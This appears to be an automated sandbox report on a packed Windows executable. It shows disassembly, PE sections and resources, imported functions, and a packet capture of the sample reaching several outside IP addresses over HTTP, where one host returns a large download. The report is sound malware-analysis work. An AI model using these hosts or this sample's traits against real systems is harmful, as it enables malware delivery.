lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 0042828Ch
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007FE680CEACCEh
test byte ptr [eax], 00000008h
je 00007FE680CEACC9h
mov dword ptr [ebp-0Ch], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2c394	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x44e000	0x1dec8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x281e0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2b930	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x28000	0x19c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x260f6	0x26200	False	0.7673155737704918	data	7.392641527633819	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x28000	0x4d1a	0x4e00	False	0.4719551282051282	data	5.629032074991528	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2d000	0x4207e0	0x1a00	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x44e000	0x1dec8	0x1e000	False	0.38009440104166664	DIY-Thermocam raw data (Lepton 2.x), scale 0-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 0.000000, slope 2658455991569831745807614120560689152.000000	4.504659804582359	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
VUJ	0x4664e0	0x9e7	ASCII text, with very long lines (2535), with no line terminators	Punjabi	Pakistan	0.6063116370808679
VUJ	0x4664e0	0x9e7	ASCII text, with very long lines (2535), with no line terminators	Punjabi	India	0.6063116370808679
XULABOSIBUBORORILUPEVETIZAVUTU	0x466ec8	0x136f	ASCII text, with very long lines (4975), with no line terminators	Punjabi	Pakistan	0.5927638190954774
XULABOSIBUBORORILUPEVETIZAVUTU	0x466ec8	0x136f	ASCII text, with very long lines (4975), with no line terminators	Punjabi	India	0.5927638190954774
RT_CURSOR	0x4682b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.2953091684434968
RT_CURSOR	0x469160	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.46705776173285196
RT_CURSOR	0x469a08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5361271676300579
RT_ICON	0x44ea50	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	Pakistan	0.35714285714285715
RT_ICON	0x44ea50	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	India	0.35714285714285715
RT_ICON	0x44f8f8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	Pakistan	0.4742779783393502
RT_ICON	0x44f8f8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	India	0.4742779783393502
RT_ICON	0x4501a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	Pakistan	0.4620331950207469
RT_ICON	0x4501a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	India	0.4620331950207469
RT_ICON	0x452748	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	Pakistan	0.4718574108818011
RT_ICON	0x452748	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	India	0.4718574108818011
RT_ICON	0x4537f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	Pakistan	0.49645390070921985
RT_ICON	0x4537f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	India	0.49645390070921985
RT_ICON	0x453ca8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	Pakistan	0.3683368869936034
RT_ICON	0x453ca8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	India	0.3683368869936034
RT_ICON	0x454b50	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	Pakistan	0.45577617328519854
RT_ICON	0x454b50	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	India	0.45577617328519854
RT_ICON	0x4553f8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Punjabi	Pakistan	0.45910138248847926
RT_ICON	0x4553f8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Punjabi	India	0.45910138248847926
RT_ICON	0x455ac0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Punjabi	Pakistan	0.4559248554913295
RT_ICON	0x455ac0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Punjabi	India	0.4559248554913295
RT_ICON	0x456028	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	Pakistan	0.266597510373444
RT_ICON	0x456028	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	India	0.266597510373444
RT_ICON	0x4585d0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	Pakistan	0.3079268292682927
RT_ICON	0x4585d0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	India	0.3079268292682927
RT_ICON	0x459678	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	Pakistan	0.36347517730496454
RT_ICON	0x459678	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	India	0.36347517730496454
RT_ICON	0x459b48	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	Pakistan	0.494136460554371
RT_ICON	0x459b48	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	India	0.494136460554371
RT_ICON	0x45a9f0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	Pakistan	0.4711191335740072
RT_ICON	0x45a9f0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	India	0.4711191335740072
RT_ICON	0x45b298	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Punjabi	Pakistan	0.4407514450867052
RT_ICON	0x45b298	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Punjabi	India	0.4407514450867052
RT_ICON	0x45b800	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	Pakistan	0.27759336099585064
RT_ICON	0x45b800	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	India	0.27759336099585064
RT_ICON	0x45dda8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	Pakistan	0.28893058161350843
RT_ICON	0x45dda8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	India	0.28893058161350843
RT_ICON	0x45ee50	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Punjabi	Pakistan	0.31065573770491806
RT_ICON	0x45ee50	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Punjabi	India	0.31065573770491806
RT_ICON	0x45f7d8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	Pakistan	0.3351063829787234
RT_ICON	0x45f7d8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	India	0.3351063829787234
RT_ICON	0x45fca8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	Pakistan	0.2785181236673774
RT_ICON	0x45fca8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	India	0.2785181236673774
RT_ICON	0x460b50	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	Pakistan	0.3786101083032491
RT_ICON	0x460b50	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	India	0.3786101083032491
RT_ICON	0x4613f8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Punjabi	Pakistan	0.39631336405529954
RT_ICON	0x4613f8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Punjabi	India	0.39631336405529954
RT_ICON	0x461ac0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Punjabi	Pakistan	0.38439306358381503
RT_ICON	0x461ac0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Punjabi	India	0.38439306358381503
RT_ICON	0x462028	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	Pakistan	0.2726141078838174
RT_ICON	0x462028	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	India	0.2726141078838174
RT_ICON	0x4645d0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	Pakistan	0.3051125703564728
RT_ICON	0x4645d0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	India	0.3051125703564728
RT_ICON	0x465678	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Punjabi	Pakistan	0.32295081967213113
RT_ICON	0x465678	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Punjabi	India	0.32295081967213113
RT_ICON	0x466000	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	Pakistan	0.3537234042553192
RT_ICON	0x466000	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	India	0.3537234042553192
RT_STRING	0x46a138	0x300	data	Punjabi	Pakistan	0.4830729166666667
RT_STRING	0x46a138	0x300	data	Punjabi	India	0.4830729166666667
RT_STRING	0x46a438	0x3c4	data	Punjabi	Pakistan	0.4699170124481328
RT_STRING	0x46a438	0x3c4	data	Punjabi	India	0.4699170124481328
RT_STRING	0x46a800	0x6ce	data	Punjabi	Pakistan	0.4225028702640643
RT_STRING	0x46a800	0x6ce	data	Punjabi	India	0.4225028702640643
RT_STRING	0x46aed0	0x570	data	Punjabi	Pakistan	0.4317528735632184
RT_STRING	0x46aed0	0x570	data	Punjabi	India	0.4317528735632184
RT_STRING	0x46b440	0x31e	data	Punjabi	Pakistan	0.46115288220551376
RT_STRING	0x46b440	0x31e	data	Punjabi	India	0.46115288220551376
RT_STRING	0x46b760	0x566	data	Punjabi	Pakistan	0.4356005788712012
RT_STRING	0x46b760	0x566	data	Punjabi	India	0.4356005788712012
RT_STRING	0x46bcc8	0x1fc	data	Punjabi	Pakistan	0.4921259842519685
RT_STRING	0x46bcc8	0x1fc	data	Punjabi	India	0.4921259842519685
RT_ACCELERATOR	0x468238	0x40	data	Punjabi	Pakistan	0.890625
RT_ACCELERATOR	0x468238	0x40	data	Punjabi	India	0.890625
RT_ACCELERATOR	0x468278	0x30	data	Punjabi	Pakistan	0.9583333333333334
RT_ACCELERATOR	0x468278	0x30	data	Punjabi	India	0.9583333333333334
RT_GROUP_CURSOR	0x469f70	0x30	data			0.9375
RT_GROUP_ICON	0x453c58	0x4c	data	Punjabi	Pakistan	0.75
RT_GROUP_ICON	0x453c58	0x4c	data	Punjabi	India	0.75
RT_GROUP_ICON	0x459ae0	0x68	data	Punjabi	Pakistan	0.7019230769230769
RT_GROUP_ICON	0x459ae0	0x68	data	Punjabi	India	0.7019230769230769
RT_GROUP_ICON	0x466468	0x76	data	Punjabi	Pakistan	0.6864406779661016
RT_GROUP_ICON	0x466468	0x76	data	Punjabi	India	0.6864406779661016
RT_GROUP_ICON	0x45fc40	0x68	data	Punjabi	Pakistan	0.7115384615384616
RT_GROUP_ICON	0x45fc40	0x68	data	Punjabi	India	0.7115384615384616
RT_VERSION	0x469fa0	0x194	OpenPGP Secret Key			0.5792079207920792
None	0x4682a8	0xa	data	Punjabi	Pakistan	1.8
None	0x4682a8	0xa	data	Punjabi	India	1.8

Imports

DLL	Import
KERNEL32.dll	FindFirstChangeNotificationW, EnumCalendarInfoA, GlobalAddAtomA, EndUpdateResourceW, InterlockedIncrement, GetCurrentProcess, SetComputerNameW, GetComputerNameW, BackupSeek, GetProcessHeap, GetConsoleAliasesLengthA, LoadLibraryW, TerminateThread, SizeofResource, GetVersionExW, Beep, EnumResourceLanguagesA, GetOverlappedResult, InterlockedExchange, OpenMutexW, GetLastError, GetNativeSystemInfo, GetProcAddress, VirtualAlloc, CreateFileMappingA, LocalAlloc, FindFirstVolumeMountPointW, BeginUpdateResourceA, FindAtomA, DeviceIoControl, GlobalFindAtomW, GetModuleHandleA, VirtualProtect, SetCalendarInfoA, OpenSemaphoreW, TerminateJobObject, GetWindowsDirectoryW, TlsFree, LCMapStringW, lstrcpyA, GetFullPathNameA, CreateFileA, SetLastError, GetComputerNameA, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, RaiseException, RtlUnwind, GetModuleHandleW, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, GetCPInfo, InterlockedDecrement, GetACP, GetOEMCP, IsValidCodePage, TlsGetValue, TlsAlloc, TlsSetValue, GetCurrentThreadId, TerminateProcess, IsDebuggerPresent, HeapAlloc, HeapFree, HeapSize, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, GetStartupInfoA, DeleteCriticalSection, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, LeaveCriticalSection, EnterCriticalSection, LoadLibraryA, InitializeCriticalSectionAndSpinCount, LCMapStringA, WideCharToMultiByte, MultiByteToWideChar, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, HeapReAlloc
USER32.dll	EnableWindow
GDI32.dll	GetDeviceGammaRamp
ADVAPI32.dll	BackupEventLogW
WINHTTP.dll	WinHttpCheckPlatform

Possible Origin

Language of compilation system	Country where language is spoken	Map
Punjabi	Pakistan
Punjabi	India

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2023 03:22:16.195616007 CET	49734	80	192.168.2.4	34.94.245.237
Dec 19, 2023 03:22:16.456029892 CET	80	49734	34.94.245.237	192.168.2.4
Dec 19, 2023 03:22:16.456145048 CET	49734	80	192.168.2.4	34.94.245.237
Dec 19, 2023 03:22:16.456557035 CET	49734	80	192.168.2.4	34.94.245.237
Dec 19, 2023 03:22:16.456557035 CET	49734	80	192.168.2.4	34.94.245.237
Dec 19, 2023 03:22:16.717459917 CET	80	49734	34.94.245.237	192.168.2.4
Dec 19, 2023 03:22:16.717516899 CET	80	49734	34.94.245.237	192.168.2.4
Dec 19, 2023 03:22:16.717848063 CET	80	49734	34.94.245.237	192.168.2.4
Dec 19, 2023 03:22:16.717987061 CET	80	49734	34.94.245.237	192.168.2.4
Dec 19, 2023 03:22:16.718058109 CET	49734	80	192.168.2.4	34.94.245.237
Dec 19, 2023 03:22:16.718712091 CET	49734	80	192.168.2.4	34.94.245.237
Dec 19, 2023 03:22:16.873239994 CET	49735	80	192.168.2.4	104.198.2.251
Dec 19, 2023 03:22:16.979588032 CET	80	49734	34.94.245.237	192.168.2.4
Dec 19, 2023 03:22:17.143639088 CET	80	49735	104.198.2.251	192.168.2.4
Dec 19, 2023 03:22:17.143717051 CET	49735	80	192.168.2.4	104.198.2.251
Dec 19, 2023 03:22:17.143933058 CET	49735	80	192.168.2.4	104.198.2.251
Dec 19, 2023 03:22:17.143971920 CET	49735	80	192.168.2.4	104.198.2.251
Dec 19, 2023 03:22:17.419311047 CET	80	49735	104.198.2.251	192.168.2.4
Dec 19, 2023 03:22:17.419322014 CET	80	49735	104.198.2.251	192.168.2.4
Dec 19, 2023 03:22:17.419332027 CET	80	49735	104.198.2.251	192.168.2.4
Dec 19, 2023 03:22:17.419342995 CET	80	49735	104.198.2.251	192.168.2.4
Dec 19, 2023 03:22:17.419523954 CET	49735	80	192.168.2.4	104.198.2.251
Dec 19, 2023 03:22:17.419559956 CET	49735	80	192.168.2.4	104.198.2.251
Dec 19, 2023 03:22:17.599436045 CET	49736	80	192.168.2.4	34.143.166.163
Dec 19, 2023 03:22:17.690445900 CET	80	49735	104.198.2.251	192.168.2.4
Dec 19, 2023 03:22:18.179722071 CET	80	49736	34.143.166.163	192.168.2.4
Dec 19, 2023 03:22:18.179852009 CET	49736	80	192.168.2.4	34.143.166.163
Dec 19, 2023 03:22:18.181025028 CET	49736	80	192.168.2.4	34.143.166.163
Dec 19, 2023 03:22:18.181070089 CET	49736	80	192.168.2.4	34.143.166.163
Dec 19, 2023 03:22:18.760489941 CET	80	49736	34.143.166.163	192.168.2.4
Dec 19, 2023 03:22:18.761074066 CET	80	49736	34.143.166.163	192.168.2.4
Dec 19, 2023 03:22:18.761135101 CET	80	49736	34.143.166.163	192.168.2.4
Dec 19, 2023 03:22:18.761190891 CET	80	49736	34.143.166.163	192.168.2.4
Dec 19, 2023 03:22:18.761344910 CET	49736	80	192.168.2.4	34.143.166.163
Dec 19, 2023 03:22:18.764084101 CET	49736	80	192.168.2.4	34.143.166.163
Dec 19, 2023 03:22:18.950862885 CET	49737	80	192.168.2.4	34.143.166.163
Dec 19, 2023 03:22:19.344284058 CET	80	49736	34.143.166.163	192.168.2.4
Dec 19, 2023 03:22:19.548929930 CET	80	49737	34.143.166.163	192.168.2.4
Dec 19, 2023 03:22:19.549010038 CET	49737	80	192.168.2.4	34.143.166.163
Dec 19, 2023 03:22:19.549226999 CET	49737	80	192.168.2.4	34.143.166.163
Dec 19, 2023 03:22:19.549243927 CET	49737	80	192.168.2.4	34.143.166.163
Dec 19, 2023 03:22:20.145787001 CET	80	49737	34.143.166.163	192.168.2.4
Dec 19, 2023 03:22:20.145872116 CET	80	49737	34.143.166.163	192.168.2.4
Dec 19, 2023 03:22:20.146143913 CET	80	49737	34.143.166.163	192.168.2.4
Dec 19, 2023 03:22:20.146159887 CET	80	49737	34.143.166.163	192.168.2.4
Dec 19, 2023 03:22:20.146225929 CET	49737	80	192.168.2.4	34.143.166.163
Dec 19, 2023 03:22:20.146282911 CET	49737	80	192.168.2.4	34.143.166.163
Dec 19, 2023 03:22:20.278399944 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:20.547686100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:20.547761917 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:20.547991991 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:20.548027039 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:20.742753029 CET	80	49737	34.143.166.163	192.168.2.4
Dec 19, 2023 03:22:20.816652060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:20.816718102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:20.835120916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:20.835244894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:20.835295916 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:20.835304976 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:20.835350990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:20.835388899 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:20.835423946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:20.835555077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:20.835597992 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:20.835637093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:20.835808039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:20.835848093 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:20.835903883 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:20.835972071 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:20.836009979 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.104016066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.104037046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.104094982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.104161024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.104209900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.104283094 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.104289055 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.104329109 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.104387999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.104460001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.104507923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.104533911 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.104562998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.104604959 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.104624987 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.104686022 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.104736090 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.104753017 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.104788065 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.104810953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.104836941 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.104881048 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.104928017 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.104949951 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.105014086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.105031967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.105057001 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.105070114 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.105113983 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.373272896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.373343945 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.373420954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.373486996 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.373497963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.373552084 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.373580933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.373641968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.373682022 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.373725891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.373790026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.373828888 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.373866081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.373934031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.373974085 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.374017000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.374080896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.374125957 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.374150991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.374213934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.374253988 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.374298096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.374381065 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.374424934 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.374425888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.374500036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.374540091 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.374593973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.374648094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.374690056 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.374692917 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.375042915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.375053883 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.375075102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.375080109 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.375093937 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.375106096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.375116110 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.375123978 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.375129938 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.375143051 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.375145912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.375164032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.375176907 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.375211000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.375242949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.375308990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.375349045 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.375379086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.375502110 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.375546932 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.375546932 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.375590086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.375628948 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.375632048 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.375674009 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.375716925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.375719070 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.375751019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.375791073 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:21.642832994 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.642930031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:21.642982960 CET	80	49738	91.215.85.17	192.168.2.4
